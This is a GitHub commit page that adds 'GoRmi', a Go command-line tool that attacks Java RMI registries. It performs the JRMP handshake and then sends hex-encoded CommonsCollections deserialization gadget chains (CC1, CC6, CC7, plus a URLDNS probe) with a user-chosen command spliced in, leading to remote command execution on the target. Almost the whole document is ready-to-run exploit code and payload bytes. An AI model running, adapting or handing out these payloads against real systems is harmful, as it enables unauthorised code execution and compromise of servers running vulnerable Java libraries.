Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
Firebasky authored Dec 29, 2021
1 parent dd1f129 commit c0498d4
Show file tree
Hide file tree
Showing 15 changed files with 507 additions and 0 deletions.
99 changes: 99 additions & 0 deletions GoRmi.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
package main

import (
"GoRmi/gadgets"
"encoding/hex"
"fmt"
"net"
)
func SendData(ip string,port string,exp []byte) {

conn, err := net.Dial("tcp",ip+":"+port)
if err != nil {
fmt.Printf("conn server failed, err:%v\n", err)
return
}
//发送固定的值
data1 := []byte{
0x4a, 0x52, 0x4d, 0x49, 0x00, 0x02, 0x4b,
}
_, err = conn.Write(data1)
if err != nil {
fmt.Printf("send data1 failed, err:%v\n", err)
return
}

var buf1 [1024]byte
_, err = conn.Read(buf1[:])
if err != nil {
fmt.Printf("read failed:%v\n", err)
return
}

//前面2个字节是后面ip的长度16进置
//xx ip xxxx length:17 |000c 3139322e3136382e39362e31 00000000
//data2 := []byte{
// 0x00, 0x0c, 0x31, 0x39, 0x32, 0x2e, 0x31,
// 0x36, 0x38, 0x2e, 0x39, 0x36, 0x2e, 0x31,
// 0x00, 0x00, 0x00, 0x00,
//}
ipa :=[]byte(ip)
aaa :=[]byte(string(len(ip)))
toString := hex.EncodeToString(ipa)
bbb := hex.EncodeToString(aaa)
data:=("00"+bbb+toString+"00000000")
data2, err := hex.DecodeString(data)
_, err = conn.Write(data2)
if err != nil {
fmt.Printf("send data2 failed, err:%v\n", err)
return
}

data3 := []byte{
0x50, 0xac, 0xed, 0x00, 0x05, 0x77, 0x22,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x44, 0x15, 0x4d, 0xc9, 0xd4, 0xe6,
0x3b, 0xdf,
}
_, err = conn.Write(data3)
if err != nil {
fmt.Printf("send data3 failed, err:%v\n", err)
return
}

var buf2 [1024]byte
_, err = conn.Read(buf2[:])
if err != nil {
fmt.Printf("read failed:%v\n", err)
return
}

data4 := []byte{
0x52,
}
_, err = conn.Write(data4)
if err != nil {
fmt.Printf("send data4 failed, err:%v\n", err)
return
}

var buf3 [1024]byte
_, err = conn.Read(buf3[:])
if err != nil {
fmt.Printf("read failed:%v\n", err)
return
}

//最后发送exp 反序列化数据
_, err = conn.Write(exp)
if err != nil {
fmt.Printf("send exp failed, err:%v\n", err)
return
}
}

func main() {
SendData("127.0.0.1","9001",gadgets.GetUrlDns("calc"))
}
169 changes: 169 additions & 0 deletions cli/main.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,169 @@
package main

import (
"GoRmi/gadgets"
"GoRmi/utils"
"encoding/hex"
"flag"
"fmt"
"net"
)

const (
version = "1.0"
author = "Firebasky&&atao"
)
func SendData(ip string,port string,exp []byte) {

conn, err := net.Dial("tcp",ip+":"+port)
if err != nil {
fmt.Printf("conn server failed, err:%v\n", err)
return
}
//发送固定的值
data1 := []byte{
0x4a, 0x52, 0x4d, 0x49, 0x00, 0x02, 0x4b,
}
_, err = conn.Write(data1)
if err != nil {
fmt.Printf("send data1 failed, err:%v\n", err)
return
}

var buf1 [1024]byte
_, err = conn.Read(buf1[:])
if err != nil {
fmt.Printf("read failed:%v\n", err)
return
}
ipa :=[]byte(ip)
aaa :=[]byte(string(len(ip)))
toString := hex.EncodeToString(ipa)
bbb := hex.EncodeToString(aaa)
data:=("00"+bbb+toString+"00000000")
data2, err := hex.DecodeString(data)
_, err = conn.Write(data2)
if err != nil {
fmt.Printf("send data2 failed, err:%v\n", err)
return
}

data3 := []byte{
0x50, 0xac, 0xed, 0x00, 0x05, 0x77, 0x22,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x44, 0x15, 0x4d, 0xc9, 0xd4, 0xe6,
0x3b, 0xdf,
}
_, err = conn.Write(data3)
if err != nil {
fmt.Printf("send data3 failed, err:%v\n", err)
return
}

var buf2 [1024]byte
_, err = conn.Read(buf2[:])
if err != nil {
fmt.Printf("read failed:%v\n", err)
return
}

data4 := []byte{
0x52,
}
_, err = conn.Write(data4)
if err != nil {
fmt.Printf("send data4 failed, err:%v\n", err)
return
}

var buf3 [1024]byte
_, err = conn.Read(buf3[:])
if err != nil {
fmt.Printf("read failed:%v\n", err)
return
}

//最后发送exp 反序列化数据
_, err = conn.Write(exp)
if err != nil {
fmt.Printf("send exp failed, err:%v\n", err)
return
}
}

func main() {
utils.PrintLogo(version,author)
var ip string
var port string
var payload string
var command string
var list bool
var help bool
flag.BoolVar(&help, "help", false, "")
flag.StringVar(&ip, "ip", "", "vul ip")
flag.StringVar(&port, "port", "", "vul port")
flag.StringVar(&payload, "payload", "", "use which payload")
flag.StringVar(&command, "cmd", "", "command")
flag.BoolVar(&list, "list", false, "show payload list")
flag.Parse()
if help{
fmt.Println("")
fmt.Printf("%s\n","--ip 127.0.0.1")
fmt.Printf("%s\n","--port 1099")
fmt.Printf("%s\n","--payload cc6")
fmt.Printf("%s\n","--cmd calc")
}
if list {
utils.Info("payload list: ")
all := gadgets.GetAllNames()
for _, v := range all {
fmt.Printf("\t%s\n", v)
}
return
}
if command == "" || payload == "" {
//utils.Error("error input")
return
}
fmt.Println("命令:",ip,port,payload,command)
switch payload {
case "cc1":
utils.Info("get payload: %s", gadgets.CC1)
bytePayload := gadgets.GetCommonsCollections1(command)
SendData(ip,port,bytePayload)//发送exp
case "cc2":
utils.Info("get payload: %s", gadgets.CC2)
bytePayload := gadgets.GetCommonsCollections2(command)
SendData(ip,port,bytePayload)//发送exp
case "cc3":
utils.Info("get payload: %s", gadgets.CC3)
bytePayload := gadgets.GetCommonsCollections3(command)
SendData(ip,port,bytePayload)//发送exp
case "cc4":
utils.Info("get payload: %s", gadgets.CC4)
bytePayload := gadgets.GetCommonsCollections4(command)
SendData(ip,port,bytePayload)//发送exp
case "cc5":
utils.Info("get payload: %s", gadgets.CC5)
bytePayload := gadgets.GetCommonsCollections5(command)
SendData(ip,port,bytePayload)//发送exp
case "cc6":
utils.Info("get payload: %s", gadgets.CC6)
bytePayload := gadgets.GetCommonsCollections6(command)
SendData(ip,port,bytePayload)//发送exp
case "cc7":
utils.Info("get payload: %s", gadgets.CC7)
bytePayload := gadgets.GetCommonsCollections7(command)
SendData(ip,port,bytePayload)//发送exp
case "urldns":
utils.Info("get payload: %s", gadgets.URLDNS)
bytePayload := gadgets.GetUrlDns(command)
SendData(ip,port,bytePayload)//发送exp
default:
utils.Error("error payload")
return
}
}

16 changes: 16 additions & 0 deletions gadgets/CC1.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
package gadgets

import (
"encoding/hex"
)

const CC1 = "CommonsCollections1"

func GetCommonsCollections1(cmd string) []byte {
prefix := "50aced00057722000000000000000000000000000000000000000000000000000044154dc9d4e63bdf74001370776e65643236313137313031343933363030737d00000001000f6a6176612e726d692e52656d6f746570787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b7078707372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b707870737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078703f4000000000000c7708000000100000000171007e00007371007e0005737d00000001000d6a6176612e7574696c2e4d6170707871007e00027371007e00057372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8341899020000707870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b707870767200116a6176612e6c616e672e52756e74696d6500000000000000000000007078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b707870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000007400096765744d6574686f647571007e002400000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb3420200007078707671007e00247371007e001c7571007e002100000002707571007e002100000000740006696e766f6b657571007e002400000002767200106a6176612e6c616e672e4f626a65637400000000000000000000007078707671007e00217371007e001c757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b47020000707870000000017400"
cmdStr := GenerateCmd(cmd) //
//fmt.Println(cmdStr)
suffix := "740004657865637571007e00240000000171007e00297371007e0017737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000707870000000017371007e00093f4000000000000c770800000010000000007878767200126a6176612e6c616e672e4f76657272696465000000000000000000000070787071007e003f7871007e003f"
ser, _ := hex.DecodeString(prefix + cmdStr + suffix)
return ser
}
10 changes: 10 additions & 0 deletions gadgets/CC2.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
package gadgets

const CC2 = "CommonsCollections2 目前不可用"

func GetCommonsCollections2(cmd string) []byte {
/**
待完成
*/
return nil
}
10 changes: 10 additions & 0 deletions gadgets/CC3.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
package gadgets

const CC3 = "CommonsCollections3 目前不可用"

func GetCommonsCollections3(cmd string) []byte {
/**
待完成
*/
return nil
}
10 changes: 10 additions & 0 deletions gadgets/CC4.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
package gadgets

const CC4 = "CommonsCollections4 目前不可用"

func GetCommonsCollections4(cmd string) []byte {
/**
待完成
*/
return nil
}
10 changes: 10 additions & 0 deletions gadgets/CC5.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
package gadgets

const CC5 = "CommonsCollections5 目前不可用"

func GetCommonsCollections5(cmd string) []byte {
/**
待完成
*/
return nil
}
16 changes: 16 additions & 0 deletions gadgets/CC6.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
package gadgets

import (
"encoding/hex"
)

const CC6 = "CommonsCollections6"

func GetCommonsCollections6(cmd string) []byte {
prefix := "50aced00057722000000000000000000000000000000000000000000000000000044154dc9d4e63bdf74001270776e656433373433343335333138363030737d00000001000f6a6176612e726d692e52656d6f746570787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b7078707372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b707870737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078703f4000000000000c7708000000100000000171007e0000737200116a6176612e7574696c2e48617368536574ba44859596b8b734030000707870770c000000013f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617071007e0006707870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8341899020000707870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e000e707870767200116a6176612e6c616e672e52756e74696d6500000000000000000000007078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b707870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000007400096765744d6574686f647571007e002500000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb3420200007078707671007e00257371007e001d7571007e002200000002707571007e002200000000740006696e766f6b657571007e002500000002767200106a6176612e6c616e672e4f626a65637400000000000000000000007078707671007e00227371007e001d757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b47020000707870000000017400"
cmdStr := GenerateCmd(cmd) //
//fmt.Println(cmdStr)
suffix := "740004657865637571007e00250000000171007e002a7371007e0019737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000707870000000017371007e00093f4000000000000c7708000000100000000078787878767200126a6176612e6c616e672e4f766572726964650000000000000000000000707870"
ser, _ := hex.DecodeString(prefix + cmdStr + suffix)
return ser
}
14 changes: 14 additions & 0 deletions gadgets/CC7.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
package gadgets

import "encoding/hex"

const CC7 = "CommonsCollections7"

func GetCommonsCollections7(cmd string) []byte {
prefix := "50aced00057722000000000000000000000000000000000000000000000000000044154dc9d4e63bdf74001370776e65643237313735323236393732333030737d00000001000f6a6176612e726d692e52656d6f746570787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b7078707372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b707870737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078703f4000000000000c7708000000100000000171007e0000737200136a6176612e7574696c2e486173687461626c6513bb0f25214ae4b803000246000a6c6f6164466163746f724900097468726573686f6c647078703f4000000000000877080000000b000000027372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8341899020000707870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b707870767200116a6176612e6c616e672e52756e74696d6500000000000000000000007078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b707870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000007400096765744d6574686f647571007e002200000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb3420200007078707671007e00227371007e001a7571007e001f00000002707571007e001f00000000740006696e766f6b657571007e002200000002767200106a6176612e6c616e672e4f626a65637400000000000000000000007078707671007e001f7371007e001a757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b47020000707870000000017400"
cmdStr := GenerateCmd(cmd) //
//fmt.Println(cmdStr)
suffix := "740004657865637571007e00220000000171007e00277371007e0015737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000707870000000017371007e00093f4000000000000c77080000001000000001740002797971007e003a787871007e003a7371007e000d71007e00127371007e00093f4000000000000c770800000010000000017400027a5a71007e003a78787371007e0038000000027878767200126a6176612e6c616e672e4f766572726964650000000000000000000000707870"
ser, _ := hex.DecodeString(prefix + cmdStr + suffix)
return ser
}
16 changes: 16 additions & 0 deletions gadgets/URLDNS.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
package gadgets

import (
"encoding/hex"
)

const URLDNS = "URLDNS"

func GetUrlDns(cmd string) []byte {
prefix := "50aced00057722000000000000000000000000000000000000000000000000000044154dc9d4e63bdf74001370776e65643238353730313234303031383030737d00000001000f6a6176612e726d692e52656d6f746570787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b7078707372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b707870737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078703f4000000000000c7708000000100000000171007e00007371007e00093f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e000d4c0004686f737471007e000d4c000870726f746f636f6c71007e000d4c000372656671007e000d707870ffffffffffffffff740010"+url(cmd)+"74000071007e000f7400046874747070787400"
cmdStr := GenerateCmd(cmd) //
//fmt.Println(cmdStr)
suffix := "7878767200126a6176612e6c616e672e4f766572726964650000000000000000000000707870"
ser, _ := hex.DecodeString(prefix + cmdStr + suffix)
return ser
}
Loading

0 comments on commit c0498d4

Please sign in to comment.